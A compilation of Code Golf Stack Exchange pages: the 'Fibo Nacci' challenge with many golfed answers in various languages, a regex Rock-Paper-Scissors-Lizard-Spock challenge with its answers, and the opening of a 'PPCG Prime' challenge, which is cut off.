[Question] [ Fibonacci + FizzBuzz = Fibo Nacci! --- # Your challenge is to create a Fibo Nacci program! * A Fibo Nacci program outputs the first **100** Fibonacci numbers (starting from 1). * If the Fibonacci number is divisible by both 2 **and** 3 (i.e. it is divisible by 6), then output FiboNacci instead of the number. * Otherwise, if the Fibonacci number is divisible by 2, then output Fibo instead of the number. * Otherwise, if the Fibonacci number is divisible by 3, then output Nacci instead of the number. # Rules * The program should take no input. * The program should output a new line (`\n`) after every entry. * The program should **not** print anything to STDERR. * The program **must** output the first **100** Fibo Nacci entries (starting from 1). * Standard loopholes are not allowed (by default). * This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'") so shortest code in bytes wins! Here is the expected output: ``` 1 1 Fibo Nacci 5 Fibo 13 Nacci Fibo 55 89 FiboNacci 233 377 Fibo Nacci 1597 Fibo 4181 Nacci Fibo 17711 28657 FiboNacci 75025 121393 Fibo Nacci 514229 Fibo 1346269 Nacci Fibo 5702887 9227465 FiboNacci 24157817 39088169 Fibo Nacci 165580141 Fibo 433494437 Nacci Fibo 1836311903 2971215073 FiboNacci 7778742049 12586269025 Fibo Nacci 53316291173 Fibo 139583862445 Nacci Fibo 591286729879 956722026041 FiboNacci 2504730781961 4052739537881 Fibo Nacci 17167680177565 Fibo 44945570212853 Nacci Fibo 190392490709135 308061521170129 FiboNacci 806515533049393 1304969544928657 Fibo Nacci 5527939700884757 Fibo 14472334024676221 Nacci Fibo 61305790721611591 99194853094755497 FiboNacci 259695496911122585 420196140727489673 Fibo Nacci 1779979416004714189 Fibo 4660046610375530309 Nacci Fibo 19740274219868223167 31940434634990099905 FiboNacci 83621143489848422977 135301852344706746049 Fibo Nacci ``` ## The Catalogue The ~~Snack~~ Stack Snippet at the bottom of this post generates the catalogue from the answers a) as a list of shortest solution per language and b) as an overall leaderboard. To make sure that your answer shows up, please start your answer with a headline, using the following Markdown template: ``` ## Language Name, N bytes ``` where `N` is the size of your submission. If you improve your score, you *can* keep old scores in the headline, by striking them through. For instance: ``` ## Ruby, <s>104</s> <s>101</s> 96 bytes ``` If there you want to include multiple numbers in your header (e.g. because your score is the sum of two files or you want to list interpreter flag penalties separately), make sure that the actual score is the *last* number in the header: ``` ## Perl, 43 + 2 (-p flag) = 45 bytes ``` You can also make the language name a link which will then show up in the snippet: ``` ## [><>](http://esolangs.org/wiki/Fish), 121 bytes ``` ``` /* Configuration */ var QUESTION_ID = 63442; // Obtain this from the url // It will be like http://XYZ.stackexchange.com/questions/QUESTION_ID/... on any question page var ANSWER_FILTER = "!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe"; var COMMENT_FILTER = "!)Q2B_A2kjfAiU78X(md6BoYk"; var OVERRIDE_USER = 41805; // This should be the user ID of the challenge author. /* App */ var answers = [], answers_hash, answer_ids, answer_page = 1, more_answers = true, comment_page; function answersUrl(index) { return "http://api.stackexchange.com/2.2/questions/" + QUESTION_ID + "/answers?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + ANSWER_FILTER; } function commentUrl(index, answers) { return "http://api.stackexchange.com/2.2/answers/" + answers.join(';') + "/comments?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + COMMENT_FILTER; } function getAnswers() { jQuery.ajax({ url: answersUrl(answer_page++), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { answers.push.apply(answers, data.items); answers_hash = []; answer_ids = []; data.items.forEach(function(a) { a.comments = []; var id = +a.share_link.match(/\d+/); answer_ids.push(id); answers_hash[id] = a; }); if (!data.has_more) more_answers = false; comment_page = 1; getComments(); } }); } function getComments() { jQuery.ajax({ url: commentUrl(comment_page++, answer_ids), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { data.items.forEach(function(c) { if (c.owner.user_id === OVERRIDE_USER) answers_hash[c.post_id].comments.push(c); }); if (data.has_more) getComments(); else if (more_answers) getAnswers(); else process(); } }); } getAnswers(); var SCORE_REG = /<h\d>\s*([^\n,<]*(?:<(?:[^\n>]*>[^\n<]*<\/[^\n>]*>)[^\n,<]*)*),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/; var OVERRIDE_REG = /^Override\s*header:\s*/i; function getAuthorName(a) { return a.owner.display_name; } function process() { var valid = []; answers.forEach(function(a) { var body = a.body; a.comments.forEach(function(c) { if(OVERRIDE_REG.test(c.body)) body = '<h1>' + c.body.replace(OVERRIDE_REG, '') + '</h1>'; }); var match = body.match(SCORE_REG); if (match) valid.push({ user: getAuthorName(a), size: +match[2], language: match[1], link: a.share_link, }); else console.log(body); }); valid.sort(function (a, b) { var aB = a.size, bB = b.size; return aB - bB }); var languages = {}; var place = 1; var lastSize = null; var lastPlace = 1; valid.forEach(function (a) { if (a.size != lastSize) lastPlace = place; lastSize = a.size; ++place; var answer = jQuery("#answer-template").html(); answer = answer.replace("{{PLACE}}", lastPlace + ".") .replace("{{NAME}}", a.user) .replace("{{LANGUAGE}}", a.language) .replace("{{SIZE}}", a.size) .replace("{{LINK}}", a.link); answer = jQuery(answer); jQuery("#answers").append(answer); var lang = a.language; lang = jQuery('<a>'+lang+'</a>').text(); languages[lang] = languages[lang] || {lang: a.language, lang_raw: lang, user: a.user, size: a.size, link: a.link}; }); var langs = []; for (var lang in languages) if (languages.hasOwnProperty(lang)) langs.push(languages[lang]); langs.sort(function (a, b) { if (a.lang_raw.toLowerCase() > b.lang_raw.toLowerCase()) return 1; if (a.lang_raw.toLowerCase() < b.lang_raw.toLowerCase()) return -1; return 0; }); for (var i = 0; i < langs.length; ++i) { var language = jQuery("#language-template").html(); var lang = langs[i]; language = language.replace("{{LANGUAGE}}", lang.lang) .replace("{{NAME}}", lang.user) .replace("{{SIZE}}", lang.size) .replace("{{LINK}}", lang.link); language = jQuery(language); jQuery("#languages").append(language); } } ``` ``` body { text-align: left !important} #answer-list { padding: 10px; width: 290px; float: left; } #language-list { padding: 10px; width: 290px; float: left; } table thead { font-weight: bold; } table td { padding: 5px; } ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="language-list"> <h2>Shortest Solution by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr> </thead> <tbody id="languages"> </tbody> </table> </div> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr> </thead> <tbody id="answers"> </tbody> </table> </div> <table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> ``` [Answer] ## Python 2, 62 bytes ``` a=b=1;exec"print~a%2*'Fibo'+~a%3/2*'Nacci'or a;a,b=b,a+b;"*100 ``` Not much different from the standard FizzBuzz, really. [Answer] # C++11 metaprogramming, 348 bytes ``` #include<iostream> #define D static const unsigned long long v= template<int L>struct F{D F<L-1>::v+F<L-2>::v;};template<>struct F<2>{D 1;};template<>struct F<1>{D 1;};template<int Z>struct S:S<Z-1>{S(){auto&s=std::cout;auto l=F<Z>::v;s<<(l%2?"":"Fibo")<<(l%3?"":"Nacci");(l%2&&l%3?s<<l:s)<<"\n";}};template<>struct S<0>{S(){}};int main(){S<100>s;} ``` Because, why not. It compiles with `warning C4307: '+': integral constant overflow`, runs fine, but 93+ th Fibonacci numbers are not shown correctly (due to overflow), so this is invalid entry (but I could not win it with that much of bytes though) Ungolfed ``` #include <iostream> #define D static const unsigned long long v = template<int L>struct F { D F<L - 1>::v + F<L - 2>::v; }; template<>struct F<2> { D 1; }; template<>struct F<1> { D 1; }; template<int Z>struct S : S<Z - 1> { S() { auto&s = std::cout; auto l = F<Z>::v; s << (l % 2 ? "" : "Fibo") << (l % 3 ? "" : "Nacci"); (l % 2 && l % 3 ? s << l : s) << "\n"; } }; template<>struct S<0> { S() { } }; int main() { S<100>s; } ``` [Answer] # Pyth, 37 bytes I loop through the Fibonacci numbers instead of generating them beforehand, since it's really short to do. ``` K1V100|+*"Fibo"!%=+Z~KZ2*"Nacci"!%Z3Z ``` [Try it online.](http://pyth.herokuapp.com/?code=K1V100%7C%2B%2a%22Fibo%22%21%25%3D%2BZ%7EKZ2%2a%22Nacci%22%21%25Z3Z&debug=0) [Answer] ## Oracle SQL, 212 bytes Not a golfing language but I had to try... Concatenating all the rows with `\n`: ``` WITH F(R,P,C)AS(SELECT 1,0,1 FROM DUAL UNION ALL SELECT R+1,C,P+C FROM F WHERE R<100)SELECT LISTAGG(NVL(DECODE(MOD(C,2),0,'Fibo')||DECODE(MOD(C,3),0,'Nacci'),''||C),CHR(13))WITHIN GROUP(ORDER BY R)||CHR(13)FROM F ``` [SQLFIDDLE](http://sqlfiddle.com/#!4/9eecb7d/10484) Or with one entry from the sequence per row (162 bytes): ``` WITH F(R,P,C)AS(SELECT 1,0,1 FROM DUAL UNION ALL SELECT R+1,C,P+C FROM F WHERE R<100)SELECT NVL(DECODE(MOD(C,2),0,'Fibo')||DECODE(MOD(C,3),0,'Nacci'),''||C)FROM F ``` [Answer] ## C#, ~~175 171 152~~ 145 bytes ``` class c{static void Main(){for(dynamic a=1m,b=a,c=0;c++<100;b=a+(a=b))System.Console.WriteLine(a%6>0?a%2>0?a%3>0?a:"Nacci":"Fibo":"FiboNacci");}} ``` Uncompressed: ``` class c { static void Main() { for (dynamic a = 1m, b = a, c = 0; c++ < 100; b = a + (a = b)) System.Console.WriteLine(a%6>0?a%2>0?a%3>0?a:"Nacci":"Fibo":"FiboNacci"); } } ``` [Answer] # [ShapeScript](https://github.com/DennisMitchell/ShapeScript), 83 bytes ``` 11'1?1?+'77*2**!""'"%r "@+@0?2%1<"Fibo"*1?3%1<"Nacci"*+0?_0>"@"*!#%'52*0?**!"'"$""~ ``` [Try it online!](http://shapescript.tryitonline.net/#code=MTEnMT8xPysnNzcqMioqISIiJyIlcgoiQCtAMD8yJTE8IkZpYm8iKjE_MyUxPCJOYWNjaSIqKzA_XzA-IkAiKiEjJSc1MiowPyoqISInIiQiIn4=&input=) [Answer] # Java, ~~407~~ ~~398~~ ~~351~~ 308 bytes Golfed it with help from @Geobits and @SamYonnou Spread the word: `Verbose == Java` ``` import java.math.*;class A{public static void main(String[]w){BigInteger a=BigInteger.ZERO,b=a.flipBit(0),c,z=a,t=a.flipBit(1),h=t.flipBit(0),s=t.flipBit(2);for(int i=0;i<100;i++){System.out.println(b.mod(s).equals(z)?"FiboNacci":b.mod(t).equals(z)?"Fibo":b.mod(h).equals(z)?"Nacci":b);c=a;a=b;b=c.add(b);}}} ``` Ungolfed version: ``` import java.math.*; class A { public static void main(String[]w) { BigInteger a=BigInteger.ZERO,b=a.flipBit(0),c,z=a,t=a.flipBit(1),h=t.flipBit(0),s=t.flipBit‌​(2); for(int i=1;i<=100;i++) { System.out.println(b.mod(s).equals(z)?"FiboNacci":b.mod(t).equals‌​(z)?"Fibo":b.mod(h).equals(z)?"Nacci":b); c=a;a=b;b=c.add(b); } } } ``` [Answer] ## Mathematica, 80 bytes ``` a=b_/;#∣b&;Print/@(Fibonacci@Range@100/.{a@6->FiboNacci,a@2->Fibo,a@3->Nacci}) ``` Adaptation of my older FizzBuzz solution. [Answer] # Ruby, ~~71~~ 66 bytes ``` a=b=1;100.times{puts [b,f='Fibo',n='Nacci',f,b,f+n][~b%6];a=b+b=a} ``` ### ungolfed: ``` a = b = 1 #starting values 100.times{ # create an array, and selects a value depending on the current number puts([b, 'Fibo', 'Nacci', 'Fibo', b, 'FiboNacci'][~b%6]) a=b+b=a # magic } ``` [Answer] # [><>](http://esolangs.org/wiki/Fish), 116 bytes ``` 01:n1&61>. ao:@+:v vv?%2:< ">:3%?vv^16< o>:3%?!v~v<& bov"ci"< 6 ; io" n 6~? Focv1&< o= "o">+:aa*!o^ >^>"aN"ooo^ ``` [Try it online!](https://tio.run/##HccxCgIxEAXQfk4xO7ApXBBHIcUYEytLjxCIC2Ka/YUw5V49gq977/79jHFS2zREzUdqsPtiTu5lPlsiyXaZi3vVmAj/TL57CvSCy9olceQrdQgzb8xxL/TA6hpSVMaNBJIXa@0woVKuWdpTANQxfg) [Answer] ## C#, ~~498~~ ~~392~~ 320 bytes I just really wanted to do this with linq, too bad I had to write my own sum function for BigInteger that really killed it :-( ``` using System.Linq;using System.Numerics;using System.Collections.Generic;static class a{static void Main(){var f=new List<BigInteger>(){1,1};while(f.Count<100)f.Add(f.Skip(f.Count-2).Take(2).Aggregate((a,b)=>b+a));f.ForEach(x=>{System.Console.WriteLine(x%6==0?"FiboNacci":x%2==0?"Fibo":x%3==0?"Nacci":x.ToString());});}} ``` Ungolfed: ``` using System.Linq; using System.Numerics; using System.Collections.Generic; static class a { static void Main() { var f=new List<BigInteger>(){1,1}; while(f.Count<100) f.Add(f.Skip(f.Count-2).Take(2).Aggregate((a,b)=>b+a)); f.ForEach(x=> { System.Console.WriteLine(x%6==0?"FiboNacci":x%2==0?"Fibo":x%3==0?"Nacci":x.ToString()); }); } } ``` Edit: Down to 320 bytes thanks to LegionMammal978 for the aggregate suggestion and thanks to olegz's C# answer for the x%6 shorthand for X%2 && x%3 as well as the use of ternary operators in a single WriteLine statement. [Answer] # Pyth, 39 ``` Vtu+Gs>2G99U2|+*!%N2"Fibo"*!%N3"Nacci"N ``` Very similar to the standard fizzbuzz solution, just with a generator for the Fibonacci numbers. [Try it here](http://pyth.herokuapp.com/?code=Vtu%2BGs%3E2G99U2%7C%2B%2A%21%25N2%22Fibo%22%2A%21%25N3%22Nacci%22N&debug=0) [Answer] # Python 2, 171 121 bytes "Brute force approach." ``` a=[1,1] print 1 for _ in"q"*99:print[a[1],"Fibo","Nacci","FiboNacci"][a.append(a.pop(0)+a[0])or(1-a[0]%2)+(a[0]%3<1)*2] ``` [Answer] ## Python 2, 100 bytes ``` x=[1,1] exec"x+=[x[-1]+x[-2]];"*98 print"\n".join(["Fibo"*(i%2==0)+"Nacci"*(i%3==0)or`i`for i in x]) ``` For the large numbers, adds a `L` to the end showing it's a long number. If that's a problem, here is a 104 byte solution ``` x=[1,1] exec"x+=[x[-1]+x[-2]];"*98 print"\n".join(["Fibo"*(i%2==0)+"Nacci"*(i%3==0)or str(i)for i in x]) ``` [Answer] ## Javascript, ~~93 90~~ 86 Bytes ``` for(a=0,b=1,i=100;i--;a=[b,b=a+b][0])console.log((b%2?'':'Fibo')+(b%3?'':'Nacci')||b) ``` [Answer] # Javascript(ES6), ~~137~~ 134 bytes ``` g=x=>(a=[1,1],f=(x)=>(a[x]=y=a[x-1]+a[x-2],(y%2&&y%3?y:(!(y%2)?'Fibo':'')+(!(y%3)?'Nacci':''))+'\n'+((++x<99)?f(x):'')),'1\n1\n'+f(2)) ``` Recursive function that calculates fibonnacci, put it in an array then output Fibo,Nacci or the number and call itself to calculate next until 100. It breaks at 73 because of javascript Number precision. Only way to get around that would be to add my own bit calculation. [Answer] ## dc, ~~100~~ ~~89~~ 79 bytes ``` [sG[]]sx[dn]s01df[sbdlb+lbrdd2%d[Fibo]r0!=xnr3%d[Nacci]r0!=xn*0!=0APzZ3>o]dsox ``` Inspired by <http://c2.com/cgi/wiki?DeeCee> [Answer] ## Wolfram Language, 84 bytes Kind of cheating of course, because of the built in `Fibonacci`. ``` t=Fibonacci@Range@100;g=(t[[#;;;;#]]=#2)&;g[3,Fibo]g[4,Nacci]g[12,FiboNacci]Print/@t ``` Example command to run the script ``` /Applications/Mathematica.app/Contents/MacOS/WolframKernel -script ~/Desktop/fibo.wl ``` [Answer] # Perl, 74 bytes ``` map{print+(Fibo)[$_%2].(Nacci)[$_%3]||$_ for$a+=$b||1,$b+=$a}1..50 ``` Requires the following command line option: `-lMbigint`, counted as 8. --- **Sample Usage** ``` $ perl -lMbigint fibo-nacci.pl ``` --- **Perl, 79 bytes** ``` use bigint;map{print+(Fibo)[$_%2].(Nacci)[$_%3]||$_,$/for$a+=$b||1,$b+=$a}1..50 ``` Same as above, without requiring any command line options. [Answer] # GolfScript, 47 bytes ``` 100,{1.@{.@+}*;..2%!'Fibo'*\3%!'Nacci'*+\or}%n* ``` --- **Explanation** ``` 100, # push 0..99 { # map 1.@ # push 1 twice, rotate counting var to the top { # apply that many times .@+ # copy the top, rotate and add # if the stack is [a b], this produces: [a b b] -> [b b a] -> [b b+a] }* ;.. # discard the top, duplicate twice 2%!'Fibo'*\ # divisible by 2 ? 'Fibo' : '' 3%!'Nacci'* # divisible by 3 ? 'Nacci' : '' +\or # concatenate, if empty use the numeric value instead }% n* # join all with a newline ``` [Answer] # PARI/GP, ~~76~~ 73 bytes *Saved three bytes courtesy of [Mitch Schwartz](https://codegolf.stackexchange.com/q/63442/63859?noredirect=1#comment154061_63859).* ``` for(n=b=!a=1,99,b=a+a=b;print(if(b%2,"",Fibo)if(b%3,if(b%2,b,""),Nacci))) ``` --- **Sample Usage** ``` $ gp -qf < fibo-nacci.gp ``` [Answer] # ><>, ~~128~~ 119 bytes ``` 111&v >:3%0=?v> v ?;ao>:2%0=?v :3%0=?v :n>:}+&:1+&aa*= ^oooo < ^ooooo < >"obiF"^>"iccaN"^ ``` I ~~shamelessly stole~~ borrowed an existing program FizzBuzz program and modified it to work for the Fibo Nacci sequence. ~~It outputs numbers forever.~~ Now it is fixed, i.e. it only outputs 100 numbers. Try it [here](http://www.fishlanguage.com/playground/BdK2LsY2pw6aHM2GP). [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), 29 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` тENÅfDÑ23SÃvá.•iÑ+FÌ;•™#yèJ}, ``` Inspired by [*@Grimmy*'s bottom answer of the *1, 2, Fizz, 4, Buzz* challenge](https://codegolf.stackexchange.com/a/186380/52210) (doesn't work in the legacy version with `S` removed, because there is a bug in the compressed string `.•iÑ+FÌ;•`; the compiler probably thinks there is an open if/loop block due to the `i`/`F`..). [Try it online](https://tio.run/##yy9OTMpM/f//YpOr3@HWNJfDE42Mgw83lx1eqPeoYVHm4Ynabod7rIHMRy2LlCsPr/Cq1fn/HwA). **Explanation:** ``` тE # Loop `N` in the range [1,100]: NÅf # Get the N'th Fibonacci number D # Duplicate it Ñ # Pop this copy, and push a list of its divisors 23SÃ # Only keep the divisors [2,3] v # Inner loop over those remaining divisors (or not if none are left): á # Only leave the letters of the current top of the stack # (to get rid of the Fibonacci number that was still on the stack) .•iÑ+FÌ;• # Push compressed string "fibo nacci" ™ # Titlecase each: "Fibo Nacci" # # Split it on spaces: ["Fibo","Nacci"] yè # Index the current divisor `y` into it (0-based and with wraparound, # so 2 will index into "Fibo" and 3 into "Nacci") J # Join everything on the stack together }, # After the inner loop: pop and print the top with trailing newline ``` [See this 05AB1E tip of mine (section *How to compress strings not part of the dictionary?*)](https://codegolf.stackexchange.com/a/166851/52210) to understand why `.•iÑ+FÌ;•` is `"fibo nacci"`. [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal) `j`, 21 bytes ``` ÞF₁Ẏƛ₍₂₃«-∇j€₌p«⌈ǐ*∑∴ ``` [Try it Online!](https://vyxal.pythonanywhere.com/#WyJqIiwiIiwiw55G4oKB4bqOxpvigo3igoLigoPCqy3iiIdq4oKs4oKMcMKr4oyIx5Aq4oiR4oi0IiwiIiwiIl0=) Basically the same as the standard 11 byte FizzBuzz with a few changes ## Explained ``` ÞF₁Ẏƛ₍₂₃«-∇j€₌p«⌈ǐ*∑∴ ÞF₁Ẏ # The first 100 fibonacci numbers ƛ # to each item n: ₍₂₃ # push a list [n % 2 == 0, n % 3 == 0] «-∇j€₌p« # push the string "fibo nacci" ⌈ǐ # split on spaces and titlecase each *∑ # vectorised string multiply and sum - this is like writing way of writing ("Fibo" * (n % 2 == 0) + "Naci" * (n % 3 == 0)) ∴ # choose the greatest of n and that string. A number will always be greater than an empty string, and a non-empty string will always be greater than a number # Just like the standard fizzbuzz, the `j` flag joins on newlines ``` [Answer] # Pyth, 51 bytes ``` V.Wn100lHaZ+@Z_1@Z_2[1 1)|+*"Fibo"}2JPN*"Nacci"}3JN ``` Generates the Fibonacci sequence then decides what to print. ``` [1 1) - H = [1,1] Wn100lH - While len(H)!=100 aZ+@Z_1@Z_2 - H.append(H[-1]+H[-2]) V. - For N in H: JPN - Set J to the prime factorization of H *"Fibo"}2J - If there is a 2 in the factorization, add "Fibo" to a string *"Nacci"}3J - If there is a 3 in the factorization, add "Nacci" to a string + - Join them together | N - If the string isn't empty (If it isn't divisible by 2 or 3), print N - Else print the string ``` To test, try this (only does the first 20 numbers) ``` V.Wn20lHaZ+@Z_1@Z_2[1 1)|+*"Fibo"}2JPN*"Nacci"}3JN ``` [Answer] # Clojure, 127 bytes ``` (def f(lazy-cat[1 1](map +' f(rest f))))(doseq[x(take 100 f)](println(str(if(even? x)'Fibo)({0'Nacci}(mod x 3)(if(odd? x)x))))) ``` Ungolfed: ``` (def fib (lazy-cat [1 1] (map +' fib (rest fib)))) (doseq [x (take 100 fib)] (println (str (if (even? x) 'Fibo) ({0 'Nacci} (mod x 3) (if (odd? x) x))))) ``` Some tricks used: * That pretty little `def` that gives the Fibonacci sequence itself is [stolen shamelessly from Konrad Garus](http://squirrel.pl/blog/2010/07/26/corecursion-in-clojure/). * `str` can take symbols as input. Crazy, right? * Maps and default values are the shortest way to write `if` in some cases. [Answer] # CJam, 44 bytes ``` XX{_2$+}98*]{_B4bf%:!"Fibo Nacci"S/.*s\e|N}/ ``` Try it online in the [CJam interpreter](http://cjam.aditsu.net/#code=XX%7B_2%24%2B%7D98*%5D%7B_B4bf%25%3A!%22Fibo%20Nacci%22S%2F.*s%5Ce%7CN%7D%2F). [Answer] ## QBasic, 144 141 bytes Not particularly small, but it beats C++ and C# ``` r=1:FOR i=1 TO 046:a$="":q=p+r IF q MOD 2=0 THEN a$="Fibo" IF q MOD 3=0 THEN a$=a$+"Nacci" IF a$="" THEN a$=STR$(q) PRINT a$:r=p:p=q:NEXT ``` No declarations, used the `:` wherever possible because it's 1 byte cheaper than `CRLF`. Prefixed a 0 to the loop counter: Basic will overflow on the 47th Fibonacci character, so compensated for the extra byte that should be there. EDIT: Neil saved me 3 bytes: 141 bytes. [Answer] ## F#, ~~202 163~~ 149 bytes ``` Seq.unfold(fun(a,b)->printfn"%s"(a%6m|>function|0m->"FiboNacci"|2m|4m->"Fibo"|3m->"Nacci"|_->string a);Some(1,(b,a+b)))(1m,1m)|>Seq.take 100|>Seq.sum ``` This is an FSX (F# script) file [Answer] # PHP, 75 bytes ``` <?for(;4e20>$b=bcadd($a,$a=$b)?:1;)echo[Fibo][++$i%3].[Nacci][$i%4]?:$b,~õ; ``` Surpisingly competitive. Requres PHP v5.5 or higher. I assume default settings, as they are without an .ini (you may disable your local .ini with the `-n` option). --- **Sample Usage** ``` $ php -n fibo-nacci.php ``` ]
[Question] [ ## Warm up: Regex, Paper, Scissors This is the challenge I originally wanted to post, before realising that some very short solution exist. Nevertheless, it can be an interesting problem to think about in preparation for the actual challenge below. Write three regexes **R**, **P** and **S** such that they match each other in a cyclic Rock, Paper, Scissors fashion. In particular, **R** matches **S**, **S** matches **P** and **P** matches **R**, but **R** *doesn't* match **P**, **S** *doesn't* match **R** and **P** doesn't match **S**. Here's a handy table: ``` Regex Matches Doesn't match R S P P R S S P R ``` It doesn't matter what **R**, **P** and **S** do on any other inputs, including themselves. Here, **match** just means that some (possibly empty) substring of the input is matched. The match does not need to cover the entire input. ## The challenge: Regex, Paper, Scissors, Lizard, Spock For this challenge, you'll solve a tougher version of the above problem, based on the RPS variant Rock, Paper, Scissors, Lizard, Spock (as popularised by *The Big Bang Theory*). In RPSLV, there are five different symbols, that beat each other in two cycles: * Rock → Scissors → Lizard → Paper → Spock → Rock * Rock → Lizard → Spock → Scissors → Paper → Rock You should write five regexes **R**, **P**, **S**, **L** and **V** which mimic this structure when given to each other as input. Here is the corresponding table: ``` Regex Matches Doesn't match R L, S V, P L V, P S, R V S, R P, L S P, L R, V P R, V L, S ``` Just to be clear, you should *not* match the string `R`, `P`, etc, but the other regexes. E.g. if your regex **R** is `^\w$` for example, then **P** and **V** have to match the string `^\w$`, whereas **S** and **L** shouldn't. Again, **match** just means that at least one (possibly empty) substring of the input is matched. The match does not need to cover the entire input. For example `\b` (word boundary) matches `hello` (at the beginning and at the end), but it doesn't match `(^,^)`. You may use any regex flavour, but please state the choice in your answer and, if possible, provide a link to an online tester for the chosen flavour. You may not use any regex features that let you invoke code in the flavour's host language (like the Perl flavour's `e` modifier). Delimiters (like `/regex/`) are not included in the regex when given as input to another, and you cannot use modifiers that are outside of the regex. Some flavours still let you use modifiers with inline syntax like `(?s)`. Your score is the sum of the lengths of the five regexes in bytes. Lower is better. It turns out to be a lot simpler to find *a* working solution to this problem than it may seem at first, but I hope that finding an optimal solution is quite tricky. [Answer] # PCRE, ~~15~~ 14 bytes Rock: `B` Paper: `\b$` Scissors: `b|B.` Lizard: `\B.` Spock: `^\w` [Answer] # ~~PCRE~~ .NET, ~~35~~ 32 bytes *-3 bytes thanks to Martin Ender* Rock: ``` ([*?]$) ``` Paper: ``` [)$]$+ ``` Scissors: ``` [+?]$.* ``` Lizard: ``` [+$]$.? ``` Spock: ``` [*)]$ ``` The idea here is to match characters at the end of other regexes which are reserved regex characters, but stop being treated as such when inside a character class. [Answer] ## no fancy features, ~~35~~ 30 bytes 5 bytes saved by Neil's idea which uses that `]` needs no `\`. This works for example with the python `re` module. ``` R='[SLR]]' P='[RVP]]' S='[PLS]]' L='[PVL]]' V='[SRV]]' ``` It searches for a `]` preceded by a letter that indicates which rule it is. Previous version used `R='\[[RSL]'` etc. An earlier attempt with score 40 was using `R='[SL]x|Rx'` etc. [Answer] # PCRE, ~~20~~ 19 Rock ``` W ``` Paper ``` ^\w ``` Scissors ``` ^\W ``` Spock ``` w?\x57$ ``` Lizard ``` [w]W? ``` [Answer] # 20 bytes ``` R = 'R|VP' L = 'L|RS' V = 'V|LP' S = 'S|RV' P = 'P|LS' ``` [Answer] # JavaScript, 45 bytes Another trivial solution. ``` R: ^R|^.[SL] P: ^P|^.[RV] S: ^S|^.[PL] L: ^L|^.[PV] V: ^V|^.[SR] ``` [Answer] **POSIX, ~~50~~ 45 bytes** ``` Rock .{5}RP?V? Paper .{5}PS?L? Scissors .{5}SR?V? Lizard .{5}LR?S? Vulcan (Spock) .{5}VP?L? ``` Could be done shorter but the (hide matches after $) trick got used, so I'm looking for another way The first 5 chars of each string are ignored when matching. So the **effective** target string simplifies to just X?Y?. None of them have any double letters because "?" is an ordinary char, so the last 4 chars when used as a **regex** have to match (null string). So the patterns collapse down to "contains 5 chars followed by the target letter": meaning chars 6-9 of the target must contain the target letter (the 5th char in each string) **Update: 35 byte version below, now!** [Answer] # PCRE, 65 bytes This is a really trivial solution - and not very clever at all - but I'll try to golf it. V: ``` (?#V).+[SR]\) ``` L: ``` (?#L).+[PV]\) ``` S: ``` (?#S).+[PL]\) ``` P: ``` (?#P).+[RV]\) ``` R: ``` (?#R).+[SL]\) ``` Essentially, each regex has an 'identifier', in the form of a comment, which tells the other regexes whether it should be matched or not. [Answer] # Vanilla RE, 40 characters Not the most concise or elegant solution but has a pleasing quasi-semantic visual structure! ``` [^r][sl] [^p][vr] [^s][lp] [^l][pv] [^v][rs] ``` Rock beats Scissors or Lizard Paper beats Vulcan or Rock Scissors beats Lizard or Paper Lizard beats Paper or Vulcan Vulcan beats Rock or Scissors [Answer] # .NET, 50 bytes In order they are `R, P, S, L, V`. ``` [^R]\^[SL] [^P]\^[RV] [^S]\^[PL] [^L]\^[PV] [^V]\^[SR] ``` Works by looking for the identifier group (for example, `[^R]`) in each of the other expressions. Changing the expressions to `^R|\^[SL]`, or similar, seems to work but then it's a bit too similar to @dzaima's answer although it would get it to 45 bytes. [Answer] **POSIX, 35 bytes** ``` Rock R?^[LS] Paper P?^[RV] Scissors S?^[LP] Lizard L?^[PV] Vulcan (Spock) V?^[RS] ``` A completely different way to "hide" behind a start/end symbol, so I feel OK about it :) I'm matching to start because "?" would always have to go between letter and end/$ if done the other way. 10 bytes less than my 1st solution, and conceptually simple which is a bonus I like. ]
[Question] [ # This is the PPCG Prime **624 digits long** ``` 777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777111111111111111111111111111111111111111111111111111111111111111111111111111111188888888118888888811188888811188888811188111118818811111881881111881881111881188111118818811111881881111111881111111188888888118888888811881111111881118888188111111118811111111881111111881111881188111111118811111111881111881881111881188111111118811111111188888811188888811111111111111111111111111111111111111111111111111111111111111111111111111111111333333333333333333333333333333333333333 ``` If we split every 39 digits we get ``` 777777777777777777777777777777777777777 777777777777777777777777777777777777777 777777777777777777777777777777777777777 777777777777777777777777777777777777777 111111111111111111111111111111111111111 111111111111111111111111111111111111111 188888888118888888811188888811188888811 188111118818811111881881111881881111881 188111118818811111881881111111881111111 188888888118888888811881111111881118888 188111111118811111111881111111881111881 188111111118811111111881111881881111881 188111111118811111111188888811188888811 111111111111111111111111111111111111111 111111111111111111111111111111111111111 333333333333333333333333333333333333333 ``` **Your task is to output the PPCG-Prime** This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"). The shortest code in bytes wins. If you input the PPCG-Prime in the Mathematica function below, you get this result ``` 